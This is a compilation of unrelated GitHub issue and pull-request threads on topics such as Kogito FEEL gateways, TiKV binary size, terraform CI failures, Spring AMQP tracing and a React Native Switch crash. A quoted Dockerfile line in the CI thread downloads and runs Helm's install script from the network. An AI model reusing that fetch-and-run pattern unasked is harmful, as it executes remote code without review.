KOGITO-5565 FEEL support as expr language in Gateway

JIRA: https://issues.redhat.com/browse/KOGITO-5565
I've taken care of porting the relevant bits of jBPM v7 to Kogito about FEEL evaluation for gateways, and then I've adapted where I could see fit to the kogito idioms, for as much as I could understand myself.
Please reference commit titles for the code that has been kogito-ported from jBPM v7 to here.
Far from a complete implementation of everything we can actually do, but I hope it is welcome in order to start to cover the gap.

How to retest this PR or trigger a specific build:

Run all builds
Please add comment: Jenkins retest this

Run (or rerun) specific test(s)
Please add comment: Jenkins (re)run [runtimes|optaplanner|apps|examples] tests

Quarkus LTS checks
Please add comment: Jenkins run LTS

Run (or rerun) LTS specific test(s)
Please add comment: Jenkins (re)run [runtimes|optaplanner|apps|examples] LTS

Native checks
Please add comment: Jenkins run native

Run (or rerun) native specific test(s)
Please add comment: Jenkins (re)run [runtimes|optaplanner|apps|examples] native

Full Kogito testing (with cloud images and operator BDD testing)
Please add comment: Jenkins run BDD
This check should be used only if a big change is done as it takes time to run, need resources and one full BDD tests check can be done at a time ...

@tiagodolphine FYI

The (build) Runtimes check has failed. Please check the logs.

The (build) Examples check has failed. Please check the logs.

The (build) Runtimes check has failed. Please check the logs.

This is now failing because

https://github.com/kiegroup/kogito-runtimes/pull/1542

was merged.
Any guidance, please?
I'm a bit confused because per the previous CI run, the entry/exit scripts (not FEEL) on this previously existing BPMN worked just fine.😞

I've implemented test exclusions in 1c2988f to account for recent KOGITO-2067 changes.
Anyway this PR can fortunately rely on
testGatewayFEEL() / BPMN2-GatewayFEEL.bpmn2
testGatewayFEELWrong() / BPMN2-GatewayFEEL-wrong.bpmn2

which is even more focused on FEEL without using other scripting languages.

The (build) Examples check has failed. Please check the logs.

@tarilabs would be quite important to also add or modify a process under integration-tests-quarkus-processes and integration-tests-springboot-it to include a gateway using FEEL. That can also help the checks for native compile. Feel free to add that into a follow up PR if you like.

The (build) Runtimes check has failed. Please check the logs.

testEventBasedSplitWithCronTimerAndSignal – org.jbpm.bpmn2.IntermediateEventTest
11s
Stacktrace
java.util.concurrent.TimeoutException: testEventBasedSplitWithCronTimerAndSignal() timed out after 10 seconds
	at org.junit.jupiter.engine.extension.TimeoutInvocation.createTimeoutException(TimeoutInvocation.java:70)

🤷
Jenkins run runtimes

Jenkins run runtimes tests

The (build) Runtimes check has failed. Please check the logs.

testEventBasedSplitWithCronTimerAndSignal – org.jbpm.bpmn2.IntermediateEventTest
11s
Stacktrace
java.util.concurrent.TimeoutException: testEventBasedSplitWithCronTimerAndSignal() timed out after 10 seconds
	at org.junit.jupiter.engine.extension.TimeoutInvocation.createTimeoutException(TimeoutInvocation.java:70)

🤷 🎱
Jenkins run runtimes tests

The (build) Apps check has failed. Please check the logs.

testDeleteTimerCycle – org.kie.kogito.it.jobs.ProcessTimerIT
<1s
Stacktrace
java.lang.IllegalStateException: Failed to load ApplicationContext
Caused by: org.testcontainers.containers.ContainerLaunchException: Container startup failed
Caused by: org.testcontainers.containers.ContainerFetchException: Can't get Docker image: RemoteDockerImage(imageName=testcontainers/sshd:1.0.0, imagePullPolicy=DefaultPullPolicy())
Caused by: java.lang.ArrayIndexOutOfBoundsException: size=31 offset=0 byteCount=59

and
doTest – org.kie.kogito.it.trusty.QuarkusTrustyExplainabilityEnd2EndIT
3s
Stacktrace
org.testcontainers.containers.ContainerLaunchException: Container startup failed
Caused by: org.testcontainers.containers.ContainerFetchException: Can't get Docker image: RemoteDockerImage(imageName=infinispan/server:12.1.7.Final, imagePullPolicy=DefaultPullPolicy())

Jenkins run apps tests

The (build) Examples check has failed. Please check the logs.

The (build) Runtimes check has failed. Please check the logs.

thank you @cristianonicolai !


Explorer: view header comes and goes

Steps to Reproduce:

drop a folder into the window to open it
the view header in the explorer comes and goes (this is with opened editors view disabled)

Reproduces without extensions: Yes/No

Still happening with:

gitlens installed
open editors hidden (via settings)
git stash being collapsed in bottom of explorer

We have a tricky scenario here git stash view is controlled by context and is made visible after a while.
Assume that git stash view is visible and workbench is refreshed

Before extensions are ready, we compute from cache and see there are 2 visible views.
After extensions are ready, we see only visible view (git stash view is not visible by context).
After a while git lens extension set the context to make git stash view visible.

Hence we see a jump here. Context control views are not in our control, so we cannot avoid the jump.
One proposal I have is, if there are custom views registered in the explorer, then do not show the header in the title even if custom views are hidden. What do you think?

One proposal I have is, if there are custom views registered in the explorer, then do not show the header in the title even if custom views are hidden. What do you think?

Does this mean to always show the (more heavy) splitview header for the explorer even when no other view is visible?

Yes, only when explorer has custom views registered.

After discussing with @bpasero we would leave with this flickering behaviour due to the reason mentioned in comment


add app router support, and a demo example

That's it.

I will check, cleanup, merge and publish in 4-6 hours.

@qwertyuiop6 done


Change the curve type

Hi,
You defined the "secp256k1" curve with it's parameters.
What if i want to define another curve ? for example the NIST P-256 (secp256rl) ? where I can find the curves parameter ?
Thanks

Hi, one way to figure out curve parameters is by using OpenSSL, like this:
$ openssl ecparam -name secp256r1 -text -param_enc explicit
using curve name prime256v1 instead of secp256r1
Field Type: prime-field
Prime:
    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff
A:
    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:fc
B:
    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
    60:4b
Generator (uncompressed):
    04:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
    98:c2:96:4f:e3:42:e2:fe:1a:7f:9b:8e:e7:eb:4a:
    7c:0f:9e:16:2b:ce:33:57:6b:31:5e:ce:cb:b6:40:
    68:37:bf:51:f5
Order:
    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
    63:25:51
Cofactor:  1 (0x1)
Seed:
    c4:9d:36:08:86:e7:04:93:6a:66:78:e1:13:9d:26:
    b7:81:9f:7e:90

(Note that your curve is secp256r1, with a 1 instead of an L as the last character.)
If your curve is not supported by OpenSSL, then the web is your friend :)


Maven: Add -s option to support specifying a custom settings.xml file.

Cannot use the plugin because project requires a custom settings.xml file and could not find a way to specify this file in the project's README.
Please add the ability to specify custom settings (mvn -s ~/custom-settings.xml). Ideally per-project in case different projects require different settings.

+1 from me. As a workaround: Have a look at the output console, it will show you where it expects a settings.xml. You kann link your custom settings there

I know the location of the standard settings (~/.m2/settings.xml) which is where I have generalized settings. I also have a ~/.m2/current-client-settings.xml which I have set up for when I'm on VPN doing work for my current client (needs to use their private Nexus, etc). I have the rest of my environment set up to support that work on a per-project basis, but this plugin only looks at the generalized settings and not the custom one I need. Hoping for a generalized way to have a dot-file or similar I can put in each repository root that will instruct the plugin of custom settings when needed.
The only alternative I can find is manually moving ~/.m2 settings files around when I'm on/off VPN, which is annoying/cumbersome. I even looked for ways to run custom scripts with the VPN client that I could use to automate moving settings when I connect/disconnect, but that isn't supported, either.

i agree, ist’s not optimal


try to reduce the binary size with compressing debug info

From https://help.backtrace.io/en/articles/1716990-dwarf
I think we can use objcopy to compress the debug info. In my test, the tikv binary size reduced from 300mb to 100mb.
but we still need to test whether log, gdb, backtrace can work well
/cc @Hoverbear

I find using --compress-debug-sections=zlib-gnu can work with gdb, but we should do more investigation.

I use dwz to compress tikv at first, then use objcopy tikv-server --compress-debug-sections=zlib-gnu, find the binary size reduced more.

Whoa! I had no idea about this. So cool.

Cool.

DWZ
When I built tikv-server through make docker and copied the binary out, then ran dwz on it, I got this error:
$ dwz tikv-server
dwz: tikv-server: Couldn't find DIE referenced by DW_AT_abstract_origin

It definitely had a major impact on tikv-ctl though:
$ ls -lah ../bin-dwz/tikv-ctl ../bin/tikv-ctl
-rwxr-xr-x 1 hoverbear hoverbear 164M Nov  4 11:34 ../bin-dwz/tikv-ctl
-rwxr-xr-x 1 hoverbear hoverbear 224M Nov  4 09:38 ../bin/tikv-ctl

ObjCopy
This makes a big impact!
$ objcopy --compress-debug-sections=zlib-gnu tikv-server
$ objcopy --compress-debug-sections=zlib-gnu tikv-ctl
$ ls -lah ../bin-objcopy/tikv-* ../bin/tikv-*
-rwxr-xr-x 1 hoverbear hoverbear  82M Nov  4 11:43 ../bin-objcopy/tikv-ctl
-rwxr-xr-x 1 hoverbear hoverbear 124M Nov  4 11:42 ../bin-objcopy/tikv-server
-rwxr-xr-x 1 hoverbear hoverbear 224M Nov  4 09:38 ../bin/tikv-ctl
-rwxr-xr-x 1 hoverbear hoverbear 382M Nov  4 09:42 ../bin/tikv-server

wow. it reduce much.
Did gdb works for ../bin-objcopy/tikv-server

we need to test whether log, gdb, backtrace can work well

@zhouqiang-cl Also figure out the dwz problem :)

The dwz problem still eludes be but:
hoverbear@Obsidian:~/git/tikv$ ls -lah bin
total 184M
drwxr-xr-x  2 hoverbear hoverbear 4.0K Nov  5 15:05 .
drwxr-xr-x 24 hoverbear hoverbear 4.0K Nov  5 14:38 ..
-rwxr-xr-x  1 hoverbear hoverbear  60M Nov  5 15:01 tikv-ctl
-rwxr-xr-x  1 hoverbear hoverbear 124M Nov  5 15:01 tikv-server

Comes from:
hoverbear@Obsidian:~/git/tikv$ git diff Makefile
diff --git a/Makefile b/Makefile
index 1928d64d..c4c85aed 100644
--- a/Makefile
@@ -155,6 +155,12 @@ dist_release:
 # additional sanity checks and file movement.
 build_dist_release:
        make x-build-dist
+       # Reduce binary size by compressing binaries.
+       # Currently errors with `Couldn't find DIE referenced by DW_AT_abstract_origin`
+       # dwz ${CARGO_TARGET_DIR}/release/tikv-server
+       dwz ${CARGO_TARGET_DIR}/release/tikv-ctl
+       objcopy --compress-debug-sections=zlib ${CARGO_TARGET_DIR}/release/tikv-server
+       objcopy --compress-debug-sections=zlib ${CARGO_TARGET_DIR}/release/tikv-ctl

 # Distributable bins with SSE4.2 optimizations
 dist_unportable_release:

You can see logging works:
hoverbear@Obsidian:~/git/tikv$ ./bin/tikv-server --log-level=trace
[2019/11/05 15:08:45.030 -08:00] [INFO] [lib.rs:84] ["Welcome to TiKV"]
[2019/11/05 15:08:45.030 -08:00] [INFO] [lib.rs:86] []
[2019/11/05 15:08:45.030 -08:00] [INFO] [lib.rs:86] ["Release Version:   4.0.0-alpha"]
[2019/11/05 15:08:45.030 -08:00] [INFO] [lib.rs:86] ["Git Commit Hash:   Unknown (no git or not git repo)"]
[2019/11/05 15:08:45.030 -08:00] [INFO] [lib.rs:86] ["Git Commit Branch: Unknown (no git or not git repo)"]

gdb seems to stumble a bit:
hoverbear@Obsidian:~/git/tikv$ gdb bin/tikv-server
GNU gdb (Ubuntu 8.3-0ubuntu1) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bin/tikv-server...
warning: Missing auto-load script at offset 0 in section .debug_gdb_scripts
of file /home/hoverbear/git/tikv/bin/tikv-server.
Use `info auto-load python-scripts [REGEXP]' to list them.
(gdb) b cmd/src/bin/tikv-server.rs:12
Breakpoint 1 at 0x31fad7: file cmd/src/bin/tikv-server.rs, line 13.
(gdb) r
Starting program: /home/hoverbear/git/tikv/bin/tikv-server
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, tikv::tikv_version_info () at src/lib.rs:75
75              option_env!("TIKV_BUILD_GIT_HASH").unwrap_or(fallback),


add etcd config

First try to commit EtcdConfig, hope there is some reviews, thanks!

Thank you for the suggestions.

@linsimiao @AdoHe why DnsSrv resolver has been deleted here ?

@lburgazzoli  I made a stupid mistake here.

@linsimiao no problem :-)

@linsimiao Is this ready for review?

@xiang90  yup.

why do we need etcd config when we have clientBuilder already?

I don't think adding config is useful. ClientBuilder itself acts as a config. @lburgazzoli what do you think?

I don't think this is needed.


Help Build 4.0.0 Trouble

I run Minecraft Client (fabric) or Minecraft Client (forge) and it throws some exceptions in UnknownPacketMixin.java (fabric) and ForgeUtilities (forge). I think it can't find minecraft classes. Please help.

Never mind, fixed it by restarting computer a few times and re-cloning the repo for 4.0.0.


Consolidate perf & scalability pages into a single page.

As part of the effort to streamline our content, this consolidates the many small
perf-and-scalability pages into a single concept page. This change is similar to what
we've done to the other concept pages.

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: geeknoid
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content/OWNERS [geeknoid]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


move backend to own repo

move the backend to own repo and clean up the repository.
The backend should be installable using npm

moved to own repo


Drop Python 3.8 and update other deps

Closes #200 and bumps various other deps (numpy etc.) that are blocking #199.

removed 3.8 as a requires test


[TEST-INFRA] terraform setup cluster failure

What's the test to develop? Please describe
Recently we constantly encounter random cluster setup failure in daily regression. They're all about timeout when waiting for instance created.
One of the error messages is:
Error: Error launching source instance: InsufficientInstanceCapacity: We currently do not have sufficient a1.xlarge capacity in the Availability Zone you requested (us-east-1c). Our system will be working on provisioning additional capacity. You can currently get a1.xlarge capacity by not specifying an Availability Zone in your request or choosing us-east-1a, us-east-1d.
	status code: 500, request id: 0d295bc3-217a-4ad0-a79f-d440d5482225

Not sure if it's possible to separate regression tests into different availability zones, and not sure if there are other unknown errors.
Describe the items of the test development (DoD, definition of done) you'd like

Please use a task list for items on a separate line with a clickable checkbox https://docs.github.com/en/issues/tracking-your-work-with-issues/about-task-lists

[ ] item 1

Additional context
Add any other context or screenshots about the test infra request here.

Temporarily assign:
v1.3.x => us-east-1d
v1.4.x => us-east-1a
master => us-east-1c

See if cluster setup failure still happen

Another error:
wget: server returned error: HTTP/1.1 503 Egress is over the account limit.
The command '/bin/sh -c wget -q https://storage.googleapis.com/kubernetes-release/release/$KUBECTL_VERSION/bin/linux/amd64/kubectl &&     mv kubectl /usr/local/bin/kubectl &&     chmod +x /usr/local/bin/kubectl &&     wget -q https://github.com/rancher/rke/releases/download/$RKE_VERSION/rke_linux-amd64 &&     mv rke_linux-amd64 /usr/bin/rke &&     chmod +x /usr/bin/rke &&     wget -q [https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip](https://releases.hashicorp.com/terraform/$%7BTERRAFORM_VERSION%7D/terraform_$%7BTERRAFORM_VERSION%7D_linux_amd64.zip) &&     unzip terraform_${TERRAFORM_VERSION}_linux_amd64.zip && rm terraform_${TERRAFORM_VERSION}_linux_amd64.zip &&     mv terraform /usr/bin/terraform &&     chmod +x /usr/bin/terraform &&     wget -q "[https://github.com/mikefarah/yq/releases/download/${YQ_VERSION}/yq_linux_amd64](https://github.com/mikefarah/yq/releases/download/$%7BYQ_VERSION%7D/yq_linux_amd64)" &&     mv yq_linux_amd64 /usr/local/bin/yq &&     chmod +x /usr/local/bin/yq &&     apk add openssl openssh-client ca-certificates git rsync bash curl jq chromium chromium-chromedriver python3 py3-pip &&     pip3 install -U selenium==3.141.0 &&     ssh-keygen -t rsa -b 4096 -N "" -f ~/.ssh/id_rsa &&     curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 &&     chmod 700 get_helm.sh &&     ./get_helm.sh' returned a non-zero code: 1

ref: https://github.com/community/community/discussions/8535
Will try to schedule regression tests at different time instead of making all tests start at the same time to avoid burst.

For
Error: Error launching source instance: InsufficientInstanceCapacity: We currently do not have sufficient a1.xlarge capacity in the Availability Zone you requested (us-east-1c). Our system will be working on provisioning additional capacity. You can currently get a1.xlarge capacity by not specifying an Availability Zone in your request or choosing us-east-1a, us-east-1d.
	status code: 500, request id: 0d295bc3-217a-4ad0-a79f-d440d5482225

ref: https://docs.rightscale.com/faq/clouds/aws/How_come_I_get_an_insufficient_capacity_error_when_launching_an_EC2_instance.html
Temporarily assign:
v1.3.x => us-east-1d
v1.4.x => us-east-1a
master => us-east-1c

See if cluster setup failure still happen

Currently only master uses us-east-1c, but it still encounter this error:
Error: Error launching source instance: InsufficientInstanceCapacity: We currently do not have sufficient a1.xlarge capacity in the Availability Zone you requested (us-east-1c). Our system will be working on provisioning additional capacity. You can currently get a1.xlarge capacity by not specifying an Availability Zone in your request or choosing us-east-1a, us-east-1d.

Maybe we should give up using us-east-1c. I'll change master to use us-east-1d too.

Another error:
null_resource.rsync_kubeconfig_file[0] (remote-exec): status: error

Which is caused by cloud-init failed. Need to print out cloud-init log to know what actually happened. I've temporarily modified v1.3.x and v1.4.x pipeline to print out this log. Wait for this happening again.


⚠ Bofrost.es has degraded performance

In 2610005, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1944 ms

Resolved: Bofrost.es performance has improved in 9a1623e after 6 minutes.


Unstable connection whenever we do the "First game" after application launch

Whenever the I make re and in the first tournament, there will be a connection issue at the first game and abort immediately.
But when I refresh the page and do it again, this error won't happen again. And after that the local tournament works pretty solid to me.

After PR #104 , the connection error seems to improve, but I still encountered connection error till the end of my first tournament like the picture below:


scale_factor in altair_saver?

I have been using altair_saver as an alternative to chart.save because I keep running into headless chrome timeouts when I am producing lots of charts.  However, the plots are at a much lower resolution and have a grainy appearance using altair_saver.save compared to  chart.save method in the altair library.
Is there a way to control the figure resolution using altair_saver?

If you're using the selenium-based saver, you can pass it directly to the save command:
altair_saver.save(chart, 'chart.png', method='selenium',  scale_factor=2)

If you're using the node-based saver, setting scale factor is not possible because there is no way to specify it in the underlying npm commands.
Note that in future releases of altair_saver (and currently in master), the scale_factor argument will be deprecated in favor of using altair's rendering options directly, i.e.
alt.renderers.set_embed_options(scaleFactor=2)


Context being lost between @RabbitListener and Webclient

In what version(s) of Spring AMQP are you seeing this issue?
3.1.0
Describe the bug
Trace are not being propagated between @RabbitListener and downstream webClient using Spring Boot 3.2 and reactor 3.6.0
[service-webhook] [pool-6-thread-4] [0846b5f279f31bdeaf059557fc0950a6-3f2563a3260e8510] c.s.webhook.clients.WebhookHttpClient    : HTTP[webhook] retryCount[0] url[https://webhook.site/b4b43dbd-9980-4690-8db7-e50be66e4d0c] body[{}]
[service-webhook] [or-http-epoll-4] [  this should have traces  ] c.s.webhook.clients.WebhookHttpClient    : HTTP[webhook] '{}'

To Reproduce
clone project https://github.com/Jojoooo1/spring-microservice-webhook-reactive
make start-rabbitmq

Start application with dev profile
Access RabbitMQ dashboard with user:password
Access webhook queue http://localhost:15672/#/queues/%2F/webhook
Publish message with header url: any-webhooksite-url body: {}

The code part is within the WebhookHttpClient.java
   [...]
    return this.webClient
        .post()
        .uri(url)
        .contentType(MediaType.APPLICATION_JSON)
        .headers(
            httpHeaders ->
                headers.forEach((k, v) -> httpHeaders.add(k, v != null ? v.toString() : null)))
        .bodyValue(requestBody)
        .exchangeToMono(this::defaultResponseHandler)
   [...]
  private Mono<Void> defaultResponseHandler(final ClientResponse response) {
    final HttpStatusCode status = response.statusCode();

    return response
        // Does not enforce any class to keep http client generic.
        .bodyToMono(String.class)
        // Necessary to force mono execution on empty response.
        .defaultIfEmpty(StringUtils.EMPTY)
        .map(
            body -> {
              if (status.is2xxSuccessful()) {
                log.info("HTTP[webhook] response '{}'", body);

It is pretty strange as the context is only separate by an exchangeToMono and bodyToMono.
Initially opened issue within reactor repo https://github.com/reactor/reactor-core/issues/3648.

See my comment on the referenced issue: https://github.com/reactor/reactor-core/issues/3648#issuecomment-1824661650

Note that you need to enable observation in the listener container; it is disabled by default - see https://docs.spring.io/spring-amqp/docs/current/reference/html/#micrometer-observation

Thanks for the response @garyrussell, indeed the two factories in the project are setting the observation.

Thanks for the update; I didn't look at the project (it's a holiday here until Monday).

Wow, sorry! Have a great time and forget about me! :D

Bear in mind that the Observation created by the listener container only lives for the scope of the listener method; the observation is closed when the listener method returns. The container cannot handle async listener methods (it knows nothing about the actual listener method - that is all handled in the listener adapter).
I suspect you will need to handle it yourself in your listener.

Very nice @chemicL !
Updating code with:
    return this.webClient
        .post()
        .uri(url)
        .contentType(MediaType.APPLICATION_JSON)
        .headers(
            httpHeaders ->
                headers.forEach((k, v) -> httpHeaders.add(k, v != null ? v.toString() : null)))
        .bodyValue(requestBody)
        // Context is lost downstream
        .exchangeToMono(this::defaultResponseHandler)
        .tap(Micrometer.observation(this.registry))

worked like a charm

One more thought. As the listener method is invoked while an Observation is in scope, you might find it useful to call .contextCapture() after .tap(Micrometer.observation(this.registry)).
The listener adapter (AbstractAdaptableMessageListener) also subscribes while the Observation is still in scope, therefore this way you'd be able to establish a parent-child relationship between the Observation that is immediately finished after the Mono is returned. However, you'd be able to correlate any logs that you perform before you actually return the Mono. It would also mean that messages in the same batch share the trace-id of the batch.
@garyrussell please consider including these remarks in the documentation for reactive types. I'm happy to help as well.

unfortunately, this is not working for me.. for the headers copy step
.headers(
httpHeaders ->
headers.forEach((k, v) -> httpHeaders.add(k, v != null ? v.toString() : null)))
What is the source of this headers.forEach, for reactor Kafka I see only traceheader  propagated.
Is there a way to instrument this in the back ground, my use case is a Kafka consumer on receiving a message from source, executes a web client call. This call needs to be in the same trace..

@sinfull1 ,
I don't think the Reactor Kafka is related somehow to this issue.
@chemicL ,
I'm not sure what we need to document since that contextCapture() is a standard Reactor functionality if we would like to propagate the current thread context to the reactive stream we initiate from there: https://projectreactor.io/docs/core/release/reference/#_contextcapture_operator.
Closing this as Works as Designed.
Will be happy to reopen if there is really a reasonable justification what we have to document.

I'm not sure what we need to document since that contextCapture() is a standard Reactor functionality if we would like to propagate the current thread context to the reactive stream we initiate from there: https://projectreactor.io/docs/core/release/reference/#_contextcapture_operator.

The contextCapture() operator doesn't help in this context unfortunately, as was explained in my earlier comments.

Will be happy to reopen if there is really a reasonable justification what we have to document.

I can just point back to what I previously said:
https://github.com/spring-projects/spring-amqp/issues/2560#issuecomment-1824867877
Just to reiterate, after having worked with @olegz on the spring-cloud-stream case which looks very much like this one here, we came up with what can be seen in their documentation. I believe it was justified there the same way it is for this project.

I'm not sure what we need to document since that contextCapture() is a standard Reactor functionality if we would like to propagate the current thread context to the reactive stream we initiate from there: https://projectreactor.io/docs/core/release/reference/#_contextcapture_operator.

The contextCapture() operator on its own doesn't help much in this context, as was explained in my earlier comments (observation is immediately stopped). The situation is quite tricky for users in my opinion.

Will be happy to reopen if there is really a reasonable justification what we have to document.

I can just point back to what I previously said: https://github.com/spring-projects/spring-amqp/issues/2560#issuecomment-1824867877
Just to reiterate, after having worked with @olegz on the spring-cloud-stream case which looks very much like this one here, we came up with what can be seen in their documentation. I believe it was justified there the same way it is for this project and either I am failing to find this in the existing documentation or there is potential to do the same brief explanation as in spring-cloud-stream's case.
I believe this issue could be renamed to something like "Document observability for listeners with asynchronous types" and reopened.

We probably need to write some unit test to verify such a behavior, but at a glance it must work.
We do this:
observation.observe(() -> executeListenerAndHandleException(channel, data));

So, an Observation is set into ThreadLocal.
Then within that executeListenerAndHandleException() we do this:
((Mono<? super Object>) returnValue).subscribe(success, failure, completeConsumer);

And if that returnValue has a contextCapture() it must get an effect taking the current observation from the  ThreadLocal.
So, that all should work OK even if we close an observation immediately after returning from the listener method call.
I see the code in question is like this:
    .map(
            body -> {
              if (status.is2xxSuccessful()) {
                log.info("HTTP[webhook] response '{}'", body);

In my experience only handle() operator does a log correlation 🤷

In my experience only handle() operator does a log correlation 🤷

@Jojoooo1 uses the new Spring Boot 3.2 config for automatic propagation to other operators.
I'll try to play with it a bit and perhaps prepare a more limited example as a unit test to validate the case.


Switch layout calculation fails on Android (SwitchCompat)

Description
Using Switch in my jsx fails with an error shown on the image below on Android, but works fine on iOS.
Tried changing buildToolsVersion, compileSdkVersion, targetSdkVersion in gradle config, but to no success.
Problem still persists on latest React native version (0.42.2).

Switch component used to work a few weeks ago. We were developing our app, so I'm not completely sure what changed, but I do know, we updated RN version from 0.40.0 to 0.42.2.
When I run "gradle clean", delete node_modules folder and run "npm install" with react native version 0.40 (same as before), I still get the same error. I can't get it to work anymore.
Anyone having same problem?
Reproduction
class Sample extends Component {
  render() {
    return (
      <View>
        <Switch />
      </View>
    );
  }
}

Solution
The issue seems to be in calculating Switch's layout size, but tries to call length() on a null text CharSequence object.
If only we could supply mShowText or mTextOn/mTextOff internal variables of a SwitchCompat...
See stack trace:
https://github.com/android/platform_frameworks_support/blob/master/v7/appcompat/src/android/support/v7/widget/SwitchCompat.java line 783 and line 864
https://github.com/android/platform_frameworks_base/blob/master/core/java/android/text/StaticLayout.java line 422
Additional Information

React Native version: 0.42.2 (tried also 0.40.0)
Platform: Android
Operating System: Windows, Linux (did not try on Mac)

Same as https://github.com/forcedotcom/SalesforceMobileSDK-ReactNative/issues/14
There's a bug report about Android switch view almost every month now; it seems many libraries use different versions of support libraries, always having incompatibility issues.

If only we could supply mShowText or mTextOn/mTextOff internal variables of a SwitchCompat...

I think this is possible but not super straight-forward. Notice that mShowText can be customized with https://developer.android.com/reference/android/support/v7/widget/SwitchCompat.html#attr_android.support.v7.appcompat:showText. The default is also false, so I don't know how it's set to true.
To edit that through XML, you will need to put custom styles and themes inside your app, explained in
https://android-developers.googleblog.com/2014/10/appcompat-v21-material-design-for-pre.html
https://developer.android.com/guide/topics/ui/themes.html
Likely code you need to have in values/themes.xml (just assuming based on the tutorial, didn't try myself)
<style name="CustomTheme" parent="Theme.AppCompat">
    <item name="switchStyle">@style/MySwitchStyle</item>
</style>
<style name="MySwitchStyle" parent="Widget.AppCompat.CompoundButton.Switch">
    <item name="showText">false</item>
</style>

then in your AndroidManifest.xml
<application android:theme="@style/CustomTheme">

All that said, I think RN should have a fix hopefully. In my app, none of the devs is using the React switch component because of all the other bugs it got reported about. So we decided it's not worth it, and rolled out our own switch implementation with touchables.

The problem is caused by using SwitchCompat on an Activity that is not AppCompatActivity, so I am assuming your application is not using the ReactActivity(or you have a hybrid app).
As a workaround you can create your own Switch component by copying from RN sources and replace 	android.support.v7.widget.SwitchCompat with an android.widget.Swich.

@rgngl Do you have a source that explains why SwitchCompat needs to be used only with AppCompatActivity? This is the first time I am hearing this requirement.
But you are correct, I am not using ReactActivity. I am integrating React with an existing app which is already using a custom base class from android.support.v4.app.FragmentActivity. Then again I don't know what the other developers also suffer from the same issue.

@hey99xx if you look at the source code of SwitchCompat you'll see in the constructor it's referring to some appcompat related resources. So your context should have a theme from from that package. If you try to set an AppCompat theme to a normal activity it throws out an exception while initializing saying that you can only use it with an AppCompatActivity.
https://github.com/android/platform_frameworks_support/blob/master/v7/appcompat/src/android/support/v7/widget/SwitchCompat.java#L236

@rgngl I don't think your explanation makes sense. ReactActivity itself does not extend from AppCompatActivity so by your explanation Switch should have never worked. FYI ReactActivity extends from regular android.app.Activity and ReactFragmentActivity extends from android.support.v4.app.FragmentActivity which I am also using in my app.
I do think that there is a problem with theme resources, but a different one. I also don't believe all the people who have commented on https://github.com/facebook/react-native/issues/10877 are intentionally deviating from ReactActivity the way I am. I will try to render a Switch within an  AppCompatActivity but I have low hopes.

Hi there! This issue is being closed because it has been inactive for a while. Maybe the issue has been fixed in a recent release, or perhaps it is not affecting a lot of people. Either way, we're automatically closing issues after a period of inactivity. Please do not take it personally!
If you think this issue should definitely remain open, please let us know. The following information is helpful when it comes to determining if the issue should be re-opened:

Does the issue still reproduce on the latest release candidate? Post a comment with the version you tested.
If so, is there any information missing from the bug report? Post a comment with all the information required by the issue template.
Is there a pull request that addresses this issue? Post a comment with the PR number so we can follow up.

If you would like to work on a patch to fix the issue, contributions are very welcome! Read through the contribution guide, and feel free to hop into #react-native if you need help planning your contribution.


Crosschain resolver

L1 Owned Resolver that can fetch verifiable data against L2 chains.
(Builds are currently failing until it merges https://github.com/ensdomains/evmgateway/pull/6)

@Arachnid PTAL


Process.run() not returning in forked process

Hi,
I had an error in the following code:
stdout = IO::Memory.new
stderr = IO::Memory.new
Process.run("echo", args: {"hello"}, output: stdout, error: stderr)
puts stdout.to_s
puts stderr.to_s

while true
  puts "======================="
  puts "LOOP"
  puts "======================="
  fork_new_process()
  sleep 10
end

def fork_new_process()
  process = Process.fork()
  if process
    # Parent process continues
    return
  else
    # Child process
    stdout = IO::Memory.new
    stderr = IO::Memory.new
    puts "START"
    Process.run("echo", args: {"hello"}, output: stdout, error: stderr)
    puts "END"
    puts stdout.to_s
    puts stderr.to_s
    exit 0 # Exit on end
  end
end

The first time 'hello' is printed. In the forked process, 'hello' is never printed and the Process.run() doesn't even return since 'END' is never printed
Crystal 0.25.1 [b782738ff] (2018-06-27)

LLVM: 4.0.0
Default target: x86_64-unknown-linux-gnu

Your code does not exactly the same as mine. Your code lets the parent process exit, but I want it to continue the loop. In your notation this would look line:
def fork_new_process()
  Process.fork do
    puts "START"
    Process.exec("echo", args: {"hello"})
    puts "END"
    exit 0
  end
end

This works fine, so already thanks a lot, but I still don't see why my code seems to fail.

I believe that in a forked process, once a process is forked with exec... it's gone.  There will not be any return value from the main program.  I goes on to its own life and fulfills its destiny.  The only return value is the pid and I'd make sure that you put in a wait to make sure the parent fulfills its role and kills its zombie child.
